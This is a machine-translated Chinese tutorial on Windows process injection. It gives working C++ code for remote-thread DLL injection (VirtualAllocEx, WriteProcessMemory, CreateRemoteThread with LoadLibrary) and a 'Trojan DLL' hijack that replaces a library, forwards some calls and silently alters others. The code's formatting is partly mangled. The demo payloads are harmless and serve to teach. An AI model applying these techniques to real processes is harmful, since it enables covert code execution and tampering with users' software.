Process injection Learning (medium)

Source: Internet
Author: User

3. Injecting a DLL with a remote thread

1), get the process ID of the remote process;

2), allocating a section of memory in the remote process space to hold the full path of the DLL to be injected;

3), the path of the DLL to be injected is written to the remote process space just allocated;

4), obtain the address of loadlibray from Kernel32.dll;

5), call the CreateRemoteThread function to get the address of the LoadLibrary function from the Kernel32.dll as the address of the thread function, create the remote thread with the DLL file name parameter that we want to inject;

--------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------

    • Make a brief introduction to CreateRemoteThread :

createremotethread Creates a thread that runs in the other process's address space (also known as: Creating a remote thread).

Parameter description:

Hprocess: handle to the target process
Lpthreadattributes: A pointer to a thread's security descriptor structure, generally set to NULL, indicating the use of the default security level
Dwstacksize: Thread stack size, typically set to 0, indicates use of default size, typically 1M
Lpstartaddress: The address of the thread function, the thread function we want to create in the following example is LoadLibrary.
Lpparameter: Thread parameters, the following example is the parameter of the middle thread is the LoadLibrary parameter "kernel32.dll"
dwCreationFlags: How threads are created (create_suspended threads are created in suspend mode)
Lpthreadid: Output parameter, record the ID of the remote thread that was created

The parameter hprocess indicates the process that owns the newly created thread, and the parameter pfnstartaddr indicates the memory address of the thread function, which is related to the remote process, and the thread function code cannot be in the address space of its own process .

If written like this: HANDLE hthread=createremotethread (hprocessremote,null,0,LoadLibraryA,"c:\\ MyLib.dll ", 0,null);

If you use LoadLibraryA and "c:\\mylib.dll" as parameters directly in CreateRemoteThread, the problem will occur:

1) When compiling or linking a program, the resulting binary code consists of an input section, which is a form substitution program (thunk) consisting of a series of input functions. When the code calls a function such as the LoadLibrary, the linker generates a real substitution program in the module input section and invokes it, and then the real substitution program is transferred to the actual function. Using a direct call to LoadLibrary in the CreateRemoteThread call, the address of the LoadLibrary replacement program is converted into the input section of the module. Passing the address of the shape replacement program as the starting address of the remote thread causes the thread to start executing the inexplicable code.

The workaround is to force a direct call to the LoadLibrary function, bypassing the form replacement program, and you must call the GetProcAddress function to get the exact memory location of the LoadLibrary. The CreateRemoteThread invocation is based on the assumption that Kernel32.dll has been mapped to the address space of both the local and remote processes . Each application requires Kernel32.dll to map Kernel32.dll to the same address of each process (kernel32.dll is loaded into memory, only one kernel32.dll exists in memory, and local and remote processes call KERNEL32 on this address. . dll), such as calling the following function:

Pthread_start_routine pfnthreadrtn= (pthread_start_routine) GetProcAddress (GetModuleHandle (TEXT ("Kernel32")), " LoadLibraryA ");

HANDLE Hthread=createremotethread (hprocessremote,null,0,pfnthreadrtn, "C:\\mylib.dll", 0,null);

2) The string "C:\\mylib.dll" is in the address space of the calling process, where the address of the string has been assigned to the newly created remote thread, which passes it to LoadLibrary, but when LoadLibrary cancels a reference to the memory address, the DLL pathname string will no longer exist, the remote process's thread may raise an access violation, display an unhandled exception condition message box to the user, and terminate the remote process. (Although the call is handle hthread=createremotethread(Hprocessremote,null,0,pfnthreadrtn, "C:\\mylib.dll", 0,null); But this is actually called the LoadLibrary, its argument is "C:\\mylib.dll", so when the LoadLibrary execution, the stack will not have "C:\\mylib.dll", the remote process behind the use of "C:\\mylib.dll" will not be accessible at the time)

The workaround is to put the pathname string of the DLL into the address space of the remote process, and then when the CreateRemoteThread function is called, you must pass the address of the string (relative to the address of the remote process) to it. Windows provides a function that enables one process to allocate memory in the address space of another process:

PVOID Virtualallcoex (

HANDLE hprocess,

PVOID pvaddress,

size_t dwsize,

DWORD Flallocationtype,

DWORD flprotect);

Another function is able to free the memory:

BOOL VirtualFreeEx (

HANDLE hprocess,

PVOID pvaddress,

size_t dwsize,

DWORD dwFreeType);

Once memory is allocated for the string, it is also necessary to copy the string from the address space of the process to the address space of the remote process, and Windows provides functions that allow one process to read data from the address space of another process and write data to the address space of another process:

BOOL ReadProcessMemory (

HANDLE hprocess,

PVOID Pvaddressremote,

PVOID pvbufferlocal,

DWORD dwsize,

Pdword pdwnumbytesread);

BOOL WriteProcessMemory (

HANDLE hprocess,

PVOID Pvaddressremote,

PVOID pvbufferlocal,

DWORD dwsize,

Pdword Pdwnumbyteswritten);

When a new thread is created in the remote process, the thread immediately calls the LoadLibrary function and passes the address of the DLL's pathname to it. Direct LoadLibrary as the thread execution function (the parameter passed is the starting address of the remote thread), the first problem is:

The remote process is identified by the hprocess parameter, the parameter pvaddressremote is used to indicate the address of the remote process, the parameter pvbufferlocal is the memory address in the local process, the parameter dwsize the number of bytes to be transferred, Pdwnumbyteswritten and Pdwnumbytesread are used to indicate the actual number of bytes transferred, and when the function returns, you can view the values of both parameters.

In this respect, the implementation steps are summarized as follows:

1) Use the VirtualAllocEx function to allocate memory in the address space of the remote process;

2) using the WriteProcessMemory function, copy the DLL pathname to the memory already allocated in the first step;

3) Use the GetProcAddress function to obtain the field address of the LoadLibrary function (in Kernel32.dll);

4) using the CreateRemoteThread function, create a thread in the remote process, invoke the correct LoadLibrary function, pass it the memory address allocated in the first step, and the DLL is inserted into the address space of the remote process. At the same time, the DllMain function of the DLL receives a DLL_PROCESS_ATTACH notification and is able to execute the required code, and when the DllMain function returns, the remote thread returns to the BaseThreadStart function from its call to LoadLibrary. Then BaseThreadStart calls ExitThread, causes the remote thread to terminate, and now the remote process has the memory block allocated in the first step, and the DLL remains in its address space, to remove it, you need to perform the following steps after the remote thread exits:

5) Use the VirtualFreeEx function to release the memory allocated in the first step;

6) Use the GetProcAddress function to obtain the field address of the FreeLibrary function (in Kernel32.dll);

7) Use the Createremotthread function to create a thread in the remote process, call the FreeLibrary function, and pass the hinstance of the remote DLL;

The introduction to CreateRemoteThread is here for the time being.

--------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------

    • Example:

Write a DLL to be injected first:

//Dllmain.cpp:Defines the entry point for the DLL application.#include"stdafx.h"BOOL apientry DllMain (hmodule hmodule, DWORD ul_reason_for_call, LPVoid lpreserved) {//hInst = (hinstance) hmodule;    if(Ul_reason_for_call = = Dll_process_attach)//The function to be performed when a DLL is loaded by the process{HANDLE F= CreateFile (L"D:\\injectsuccess.txt", File_add_file, file_share_write, NULL, create_new, file_attribute_normal, NULL);        CloseHandle (f); //hInst = (hinstance) hmodule;    }    returnTRUE;}

Then we tried to inject this DLL into the remote process.

We run a 32-bit program, and then inject the DLL into the process (32-bit processes injected into the 64-bit process will have "Access denied" errors ):

#include <iostream>usingnamespace  std; int Main () {    "HelloWorld" << Endl;    System ("pause");     return 0 ;}

To view the process ID with tasklist:

and change the following openprocess parameter to 10756:

#include <iostream>#include<windows.h>using namespacestd;intMain () {Lpdword Lpthreadid=nullptr; LPWSTR Lpszlibname= L"D:\\coding\\test\\injectdll\\injectdll\\debug\\injectdll.dll"; HANDLE hprocess=openprocess(Process_create_thread | process_vm_operation | Process_vm_write | process_query_information | Process_vm_read, FALSE,10756); //cout << hprocess << Endl;LPWStr lpszremotefile = (LPWSTR)VirtualAllocEx(Hprocess, NULL,sizeof(WCHAR) * LSTRLENW (Lpszlibname) +1, Mem_commit, page_execute_readwrite); WriteProcessMemory (Hprocess, Lpszremotefile, (PVOID) Lpszlibname,sizeof(WCHAR) * LSTRLENW (Lpszlibname) +1, NULL); cout<< Lpszremotefile <<Endl; Hmodule Hmod=GetModuleHandle("Kernel32.dll"); Pthread_start_routine Pfnthreadrtn= (Pthread_start_routine)GetProcAddress(Hmod,"Loadlibraryw"); HANDLE Hthread=CreateRemoteThread(Hprocess, NULL,0, Pfnthreadrtn,//LoadLibrary AddressLpszremotefile,//the name of the DLL to load        0, Lpthreadid); cout<< Hthread <<Endl; System ("Pause"); return 0;}

We can see the release of the D drive:

Reference:

Http://www.programlife.net/remote-thread-dll-injection.html

http://andylin02.iteye.com/blog/459483

Http://www.verydemo.com/demo_c173_i13894.html

4. Injecting with the Trojan DLL

The principle of this method is to write a DLL with the same interface function as the DLL called by the original process, and then replace the original DLL with our DLL. In the process of substitution, we write our own function of interest to replace the original function, and for other functions that are not interested, we call the function of the original DLL in the form of the function forward. There is a premise that when you write a DLL you have to know what the functions in the original DLL are, so as not to find the corresponding API functions when other processes call the DLL, especially when replacing the system DLL files. If you only want to use this method in a single application, you can give your DLL a unique name and change the input section of the application's. exe module, and only the name of the DLL that the module needs. You can search for this input section in the file and change it so that the loader loads its own DLL, which requires the format of the number. exe and DLL files.

    • Example:

Suppose that we have a normal Dll,testdll.dll:

#include"stdafx.h"//void __declspec (dllexport) __stdcall about ()extern "C"__declspec (dllexport)voidAbout () {MessageBoxW (NULL, L"This is the original DLL file! ", L"the original DLL", Mb_iconinformation +MB_OK);}//int __declspec (dllexport) __stdcall Add (int a, int b)extern "C"__declspec (dllexport)intADD (intAintb) {    return(A +b);}

Then we will use malicious ToryDLL.dll disguised as TestDLL.dll, and TestDLL.dll renamed to _testdll.dll, the implementation of this step in the execution of the attacker's EXE program is completed:

The contents of ToryDLL.dll are as follows:

//Dllmain.cpp:Defines the entry point for the DLL application.#include"stdafx.h"#include<iostream>#include<string.h>using namespacestd;Static stringSzdllname; BOOL apientry DllMain (hmodule hmodule, DWORD ul_reason_for_call, LPVOID lpre Served) {Switch(ul_reason_for_call) { CaseDll_process_attach: {//camouflage and substitution are implemented hereSzdllname ="D:\\coding\\test\\testdll\\testdll\\debug\\_testdll.dll";    }     CaseDll_thread_attach: CaseDll_thread_detach: CaseDll_process_detach: Break; }        returnTRUE;} typedefvoid(*about) ();//declares a prototype of the about function in a raw DLLextern "C"__declspec (dllexport)voidAbout () {//Direct function forwarding to the normal TestDLL.dll to executehmodule hDLL=LoadLibraryA (Szdllname.c_str ());    about; if(hDLL! =NULL) { About= (about) GetProcAddress (hDLL," About");//call the About () function in the original TestDLL.dll        if(About! =NULL) about (); }    ElseMessageBox (NULL, L"loading the original DLL error! ", L"Trojan DLL", Mb_iconinformation +MB_OK);}intMultiply (intAintb) {    returnAb);}//extern "C" __declspec (dllexport) int Add (int a, int b)extern "C"__declspec (dllexport)intADD (intAintb) {    intNret; Nret=Multiply (A, b); returnnret;}

Attackers first use their own programs to disguise and replace:

Just complete the disguise and replace:

If there is a user in your recruit, and then want to invoke the original TestDLL.dll in the Add, will not perform the addition operation instead of performing multiplication operation, here is clearly called the TestDLL.dll in the add:

The resulting result is multiplication:

And if you call about:

You will get the result of the call in the original testDLL.dll:

Because our malicious DLL forwarded this function to _testdll.dll to execute it.

Reference:

Http://www.cnblogs.com/okwary/articles/1358829.html

Process injection Learning (medium)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.